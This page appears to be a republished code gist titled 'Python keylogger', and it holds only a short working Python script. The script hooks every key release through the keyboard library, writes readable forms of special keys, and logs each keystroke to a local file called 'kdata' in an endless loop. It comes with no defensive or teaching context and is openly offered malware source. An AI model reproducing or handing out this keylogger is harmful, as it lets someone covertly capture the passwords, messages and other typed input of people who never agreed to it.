Python keylogger

script security

Originally posted as GitHub Gist on 02 Apr 2020 (details)


keylogger.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import keyboard

a = open("kdata","a+")

def b(event):
    b = event.name
    if len(b) > 1:
        if b == "space":
            b = " "
        elif b == "enter":
            b = "[ENTER]\n"
        elif b == "decimal":
            b = "."
        else:
            # replace spaces with underscores
            b = b.replace(" ", "_")
            b = f"[{b.upper()}]"
    a.write(b)
    a.flush()

keyboard.on_release(callback=b)

while True:
    keyboard.wait()